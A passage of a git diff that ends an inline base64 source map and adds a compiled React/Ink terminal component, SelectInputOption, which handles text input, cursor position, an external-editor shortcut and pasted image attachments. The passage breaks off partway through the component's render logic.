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
\ No newline at end of file
diff --git a/cc-haha/src/components/CustomSelect/select-input-option.tsx b/cc-haha/src/components/CustomSelect/select-input-option.tsx
new file mode 100644
index 0000000..51e60ce
--- /dev/null
+++ b/cc-haha/src/components/CustomSelect/select-input-option.tsx
@@ -0,0 +1,488 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { type ReactNode, useEffect, useRef, useState } from 'react';
+// eslint-disable-next-line custom-rules/prefer-use-keybindings -- UP arrow exit not in Attachments bindings
+import { Box, Text, useInput } from '../../ink.js';
+import { useKeybinding, useKeybindings } from '../../keybindings/useKeybinding.js';
+import type { PastedContent } from '../../utils/config.js';
+import { getImageFromClipboard } from '../../utils/imagePaste.js';
+import type { ImageDimensions } from '../../utils/imageResizer.js';
+import { ClickableImageRef } from '../ClickableImageRef.js';
+import { ConfigurableShortcutHint } from '../ConfigurableShortcutHint.js';
+import { Byline } from '../design-system/Byline.js';
+import TextInput from '../TextInput.js';
+import type { OptionWithDescription } from './select.js';
+import { SelectOption } from './select-option.js';
+type Props<T> = {
+  option: Extract<OptionWithDescription<T>, {
+    type: 'input';
+  }>;
+  isFocused: boolean;
+  isSelected: boolean;
+  shouldShowDownArrow: boolean;
+  shouldShowUpArrow: boolean;
+  maxIndexWidth: number;
+  index: number;
+  inputValue: string;
+  onInputChange: (value: string) => void;
+  onSubmit: (value: string) => void;
+  onExit?: () => void;
+  layout: 'compact' | 'expanded';
+  children?: ReactNode;
+  /**
+   * When true, shows the label before the input field.
+   * When false (default), uses the label as the placeholder.
+   */
+  showLabel?: boolean;
+  /**
+   * Callback to open external editor for editing the input value.
+   * When provided, ctrl+g will trigger this callback with the current value
+   * and a setter function to update the internal state.
+   */
+  onOpenEditor?: (currentValue: string, setValue: (value: string) => void) => void;
+  /**
+   * When true, automatically reset cursor to end of line when:
+   * - Option becomes focused
+   * - Input value changes
+   * This prevents cursor position bugs when the input value updates asynchronously.
+   */
+  resetCursorOnUpdate?: boolean;
+  /**
+   * Optional callback when an image is pasted into the input.
+   */
+  onImagePaste?: (base64Image: string, mediaType?: string, filename?: string, dimensions?: ImageDimensions, sourcePath?: string) => void;
+  /**
+   * Pasted content to display inline above the input when focused.
+   */
+  pastedContents?: Record<number, PastedContent>;
+  /**
+   * Callback to remove a pasted image by its ID.
+   */
+  onRemoveImage?: (id: number) => void;
+  /**
+   * Whether image selection mode is active.
+   */
+  imagesSelected?: boolean;
+  /**
+   * Currently selected image index within the image attachments array.
+   */
+  selectedImageIndex?: number;
+  /**
+   * Callback to set image selection mode on/off.
+   */
+  onImagesSelectedChange?: (selected: boolean) => void;
+  /**
+   * Callback to change the selected image index.
+   */
+  onSelectedImageIndexChange?: (index: number) => void;
+};
+export function SelectInputOption(t0) {
+  const $ = _c(100);
+  const {
+    option,
+    isFocused,
+    isSelected,
+    shouldShowDownArrow,
+    shouldShowUpArrow,
+    maxIndexWidth,
+    index,
+    inputValue,
+    onInputChange,
+    onSubmit,
+    onExit,
+    layout,
+    children,
+    showLabel: t1,
+    onOpenEditor,
+    resetCursorOnUpdate: t2,
+    onImagePaste,
+    pastedContents,
+    onRemoveImage,
+    imagesSelected,
+    selectedImageIndex: t3,
+    onImagesSelectedChange,
+    onSelectedImageIndexChange
+  } = t0;
+  const showLabelProp = t1 === undefined ? false : t1;
+  const resetCursorOnUpdate = t2 === undefined ? false : t2;
+  const selectedImageIndex = t3 === undefined ? 0 : t3;
+  let t4;
+  if ($[0] !== pastedContents) {
+    t4 = pastedContents ? Object.values(pastedContents).filter(_temp) : [];
+    $[0] = pastedContents;
+    $[1] = t4;
+  } else {
+    t4 = $[1];
+  }
+  const imageAttachments = t4;
+  const showLabel = showLabelProp || option.showLabelWithValue === true;
+  const [cursorOffset, setCursorOffset] = useState(inputValue.length);
+  const isUserEditing = useRef(false);
+  let t5;
+  if ($[2] !== inputValue.length || $[3] !== isFocused || $[4] !== resetCursorOnUpdate) {
+    t5 = () => {
+      if (resetCursorOnUpdate && isFocused) {
+        if (isUserEditing.current) {
+          isUserEditing.current = false;
+        } else {
+          setCursorOffset(inputValue.length);
+        }
+      }
+    };
+    $[2] = inputValue.length;
+    $[3] = isFocused;
+    $[4] = resetCursorOnUpdate;
+    $[5] = t5;
+  } else {
+    t5 = $[5];
+  }
+  let t6;
+  if ($[6] !== inputValue || $[7] !== isFocused || $[8] !== resetCursorOnUpdate) {
+    t6 = [resetCursorOnUpdate, isFocused, inputValue];
+    $[6] = inputValue;
+    $[7] = isFocused;
+    $[8] = resetCursorOnUpdate;
+    $[9] = t6;
+  } else {
+    t6 = $[9];
+  }
+  useEffect(t5, t6);
+  let t7;
+  if ($[10] !== inputValue || $[11] !== onInputChange || $[12] !== onOpenEditor) {
+    t7 = () => {
+      onOpenEditor?.(inputValue, onInputChange);
+    };
+    $[10] = inputValue;
+    $[11] = onInputChange;
+    $[12] = onOpenEditor;
+    $[13] = t7;
+  } else {
+    t7 = $[13];
+  }
+  const t8 = isFocused && !!onOpenEditor;
+  let t9;
+  if ($[14] !== t8) {
+    t9 = {
+      context: "Chat",
+      isActive: t8
+    };
+    $[14] = t8;
+    $[15] = t9;
+  } else {
+    t9 = $[15];
+  }
+  useKeybinding("chat:externalEditor", t7, t9);
+  let t10;
+  if ($[16] !== onImagePaste) {
+    t10 = () => {
+      if (!onImagePaste) {
+        return;
+      }
+      getImageFromClipboard().then(imageData => {
+        if (imageData) {
+          onImagePaste(imageData.base64, imageData.mediaType, undefined, imageData.dimensions);
+        }
+      });
+    };
+    $[16] = onImagePaste;
+    $[17] = t10;
+  } else {
+    t10 = $[17];
+  }
+  const t11 = isFocused && !!onImagePaste;
+  let t12;
+  if ($[18] !== t11) {
+    t12 = {
+      context: "Chat",
+      isActive: t11
+    };
+    $[18] = t11;
+    $[19] = t12;
+  } else {
+    t12 = $[19];
+  }
+  useKeybinding("chat:imagePaste", t10, t12);
+  let t13;
+  if ($[20] !== imageAttachments || $[21] !== onRemoveImage) {
+    t13 = () => {
+      if (imageAttachments.length > 0 && onRemoveImage) {
+        onRemoveImage(imageAttachments.at(-1).id);
+      }
+    };
+    $[20] = imageAttachments;
+    $[21] = onRemoveImage;
+    $[22] = t13;
+  } else {
+    t13 = $[22];
+  }
+  const t14 = isFocused && !imagesSelected && inputValue === "" && imageAttachments.length > 0 && !!onRemoveImage;
+  let t15;
+  if ($[23] !== t14) {
+    t15 = {
+      context: "Attachments",
+      isActive: t14
+    };
+    $[23] = t14;
+    $[24] = t15;
+  } else {
+    t15 = $[24];
+  }
+  useKeybinding("attachments:remove", t13, t15);
+  let t16;
+  let t17;
+  if ($[25] !== imageAttachments.length || $[26] !== onSelectedImageIndexChange || $[27] !== selectedImageIndex) {
+    t16 = () => {
+      if (imageAttachments.length > 1) {
+        onSelectedImageIndexChange?.((selectedImageIndex + 1) % imageAttachments.length);
+      }
+    };
+    t17 = () => {
+      if (imageAttachments.length > 1) {
+        onSelectedImageIndexChange?.((selectedImageIndex - 1 + imageAttachments.length) % imageAttachments.length);
+      }
+    };
+    $[25] = imageAttachments.length;
+    $[26] = onSelectedImageIndexChange;
+    $[27] = selectedImageIndex;
+    $[28] = t16;
+    $[29] = t17;
+  } else {
+    t16 = $[28];
+    t17 = $[29];
+  }
+  let t18;
+  if ($[30] !== imageAttachments || $[31] !== onImagesSelectedChange || $[32] !== onRemoveImage || $[33] !== onSelectedImageIndexChange || $[34] !== selectedImageIndex) {
+    t18 = () => {
+      const img = imageAttachments[selectedImageIndex];
+      if (img && onRemoveImage) {
+        onRemoveImage(img.id);
+        if (imageAttachments.length <= 1) {
+          onImagesSelectedChange?.(false);
+        } else {
+          onSelectedImageIndexChange?.(Math.min(selectedImageIndex, imageAttachments.length - 2));
+        }
+      }
+    };
+    $[30] = imageAttachments;
+    $[31] = onImagesSelectedChange;
+    $[32] = onRemoveImage;
+    $[33] = onSelectedImageIndexChange;
+    $[34] = selectedImageIndex;
+    $[35] = t18;
+  } else {
+    t18 = $[35];
+  }
+  let t19;
+  if ($[36] !== onImagesSelectedChange) {
+    t19 = () => {
+      onImagesSelectedChange?.(false);
+    };
+    $[36] = onImagesSelectedChange;
+    $[37] = t19;
+  } else {
+    t19 = $[37];
+  }
+  let t20;
+  if ($[38] !== t16 || $[39] !== t17 || $[40] !== t18 || $[41] !== t19) {
+    t20 = {
+      "attachments:next": t16,
+      "attachments:previous": t17,
+      "attachments:remove": t18,
+      "attachments:exit": t19
+    };
+    $[38] = t16;
+    $[39] = t17;
+    $[40] = t18;
+    $[41] = t19;
+    $[42] = t20;
+  } else {
+    t20 = $[42];
+  }
+  const t21 = isFocused && !!imagesSelected;
+  let t22;
+  if ($[43] !== t21) {
+    t22 = {
+      context: "Attachments",
+      isActive: t21
+    };
+    $[43] = t21;
+    $[44] = t22;
+  } else {
+    t22 = $[44];
+  }
+  useKeybindings(t20, t22);
+  let t23;
+  if ($[45] !== onImagesSelectedChange) {
+    t23 = (_input, key) => {
+      if (key.upArrow) {
+        onImagesSelectedChange?.(false);
+      }
+    };
+    $[45] = onImagesSelectedChange;
+    $[46] = t23;
+  } else {
+    t23 = $[46];
+  }
+  const t24 = isFocused && !!imagesSelected;
+  let t25;
+  if ($[47] !== t24) {
+    t25 = {
+      isActive: t24
+    };
+    $[47] = t24;
+    $[48] = t25;
+  } else {
+    t25 = $[48];
+  }
+  useInput(t23, t25);
+  let t26;
+  let t27;
+  if ($[49] !== imagesSelected || $[50] !== isFocused || $[51] !== onImagesSelectedChange) {
+    t26 = () => {
+      if (!isFocused && imagesSelected) {
+        onImagesSelectedChange?.(false);
+      }
+    };
+    t27 = [isFocused, imagesSelected, onImagesSelectedChange];
+    $[49] = imagesSelected;
+    $[50] = isFocused;
+    $[51] = onImagesSelectedChange;
+    $[52] = t26;
+    $[53] = t27;
+  } else {
+    t26 = $[52];
+    t27 = $[53];
+  }
+  useEffect(t26, t27);
+  const descriptionPaddingLeft = layout === "expanded" ? maxIndexWidth + 3 : maxIndexWidth + 4;
+  const t28 = layout === "compact" ? 0 : undefined;
+  const t29 = `${index}.`;
+  let t30;
+  if ($[54] !== maxIndexWidth || $[55] !== t29) {
+    t30 = t29.padEnd(maxIndexWidth + 2);
+    $[54] = maxIndexWidth;
+    $[55] = t29;
+    $[56] = t30;
+  } else {
+    t30 = $[56];
+  }
+  let t31;
+  if ($[57] !== t30) {
+    t31 = <Text dimColor={true}>{t30}</Text>;
+    $[57] = t30;
+    $[58] = t31;
+  } else {
+    t31 = $[58];
+  }
+  let t32;
+  if ($[59] !== cursorOffset || $[60] !== imagesSelected || $[61] !== inputValue || $[62] !== isFocused || $[63] !== onExit || $[64] !== onImagePaste || $[65] !== onInputChange || $[66] !== onSubmit || $[67] !== option || $[68] !== showLabel) {
+    t32 = showLabel ? <><Text color={isFocused ? "suggestion" : undefined}>{option.label}</Text>{isFocused ? <><Text color="suggestion">{option.labelValueSeparator ?? ", "}</Text><TextInput value={inputValue} onChange={value => {
+          isUserEditing.current = true;
+          onInputChange(value);
+          option.onChange(value);
+        }} onSubmit={onSubmit} onExit={onExit} placeholder={option.placeholder} focus={!imagesSelected} showCursor={true} multiline={true} cursorOffset={cursorOffset} onChangeCursorOffset={setCursorOffset} columns={80} onImagePaste={onImagePaste} onPaste={pastedText => {
+          isUserEditing.current = true;
+          const before = inputValue.slice(0, cursorOffset);
+          const after = inputValue.slice(cursorOffset);
+          const newValue = before + pastedText + after;
+          onInputChange(newValue);
+          option.onChange(newValue);
+          setCursorOffset(before.length + pastedText.length);
+        }} /></> : inputValue && <Text>{option.labelValueSeparator ?? ", "}{inputValue}</Text>}</> : isFocused ? <TextInput value={inputValue} onChange={value_0 => {
+      isUserEditing.current = true;
+      onInputChange(value_0);
+      option.onChange(value_0);
+    }} onSubmit={onSubmit} onExit={onExit} placeholder={option.placeholder || (typeof option.label === "string" ? option.label : undefined)} focus={!imagesSelected} showCursor={true} multiline={true} cursorOffset={cursorOffset} onChangeCursorOffset={setCursorOffset} columns={80} onImagePaste={onImagePaste} onPaste={pastedText_0 => {
+      isUserEditing.current = true;
+      const before_0 = inputValue.slice(0, cursorOffset);
+      const after_0 = inputValue.slice(cursorOffset);
+      const newValue_0 = before_0 + pastedText_0 + after_0;
+      onInputChange(newValue_0);
+      option.onChange(newValue_0);
+      setCursorOffset(before_0.length + pastedText_0.length);
+    }} /> : <Text color={inputValue ? undefined : "inactive"}>{inputValue || option.placeholder || option.label}</Text>;
+    $[59] = cursorOffset;
+    $[60] = imagesSelected;
+    $[61] = inputValue;
+    $[62] = isFocused;
+    $[63] = onExit;
+    $[64] = onImagePaste;
+    $[65] = onInputChange;
+    $[66] = onSubmit;
+    $[67] = option;
+    $[68] = showLabel;
+    $[69] = t32;
+  } else {
+    t32 = $[69];
+  }
+  let t33;
+  if ($[70] !== children || $[71] !== t28 || $[72] !== t31 || $[73] !== t32) {
+    t33 = <Box flexDirection="row" flexShrink={t28}>{t31}{children}{t32}</Box>;
+    $[70] = children;
+    $[71] = t28;
+    $[72] = t31;
+    $[73] = t32;
+    $[74] = t33;
+  } else {
+    t33 = $[74];
+  }
+  let t34;
+  if ($[75] !== isFocused || $[76] !== isSelected || $[77] !== shouldShowDownArrow || $[78] !== shouldShowUpArrow || $[79] !== t33) {
+    t34 = <SelectOption isFocused={isFocused} isSelected={isSelected} shouldShowDownArrow={shouldShowDownArrow} shouldShowUpArrow={shouldShowUpArrow} declareCursor={false}>{t33}</SelectOption>;
+    $[75] = isFocused;
+    $[76] = isSelected;
+    $[77] = shouldShowDownArrow;
+    $[78] = shouldShowUpArrow;
+    $[79] = t33;
+    $[80] = t34;
+  } else {
+    t34 = $[80];
+  }
+  let t35;
+  if ($[81] !== descriptionPaddingLeft || $[82] !== isFocused || $[83] !== isSelected || $[84] !== option.description || $[85] !== option.dimDescription) {
+    t35 = option.description && <Box paddingLeft={descriptionPaddingLeft}><Text dimColor={option.dimDescription !== false} color={isSelected ? "success" : isFocused ? "suggestion" : undefined}>{option.description}</Text></Box>;
+    $[81] = descriptionPaddingLeft;
+    $[82] = isFocused;
+    $[83] = isSelected;
+    $[84] = option.description;
+    $[85] = option.dimDescription;
+    $[86] = t35;
+  } else {
+    t35 = $[86];
+  }
+  let t36;
+  if ($[87] !== descriptionPaddingLeft || $[88] !== imageAttachments || $[89] !== imagesSelected || $[90] !== isFocused || $[91] !== selectedImageIndex) {
+    t36 = imageAttachments.length > 0 && <Box flexDirection="row" gap={1} paddingLeft={descriptionPaddingLeft}>{imageAttachments.map((img_0, idx) => <ClickableImageRef key={img_0.id} imageId={img_0.id} isSelected={!!imagesSelected && idx === selectedImageIndex} />)}<Box flexGrow={1} justifyContent="flex-start" flexDirection="row"><Text dimColor={true}>{imagesSelected ? <Byline>{imageAttachments.length > 1 && <><ConfigurableShortcutHint action="attachments:next" context="Attachments" fallback={"\u2192"} description="next" /><ConfigurableShortcutHint action="attachments:previous" context="Attachments" fallback={"\u2190"} description="prev" /></>}<ConfigurableShortcutHint action="attachments:remove" context="Attachments" fallback="backspace" description="remove" /><ConfigurableShortcutHint action="attachments:exit" context="Attachments" fallback="esc" description="cancel" /></Byline> : isFocused ? "(\u2193 to select)" : null}</Text></Box></Box>;
+    $[87] = descriptionPaddingLeft;
+    $[88] = imageAttachments;
+    $[89] = imagesSelected;
+    $[90] = isFocused;
+    $[91] = selectedImageIndex;
+    $[92] = t36;
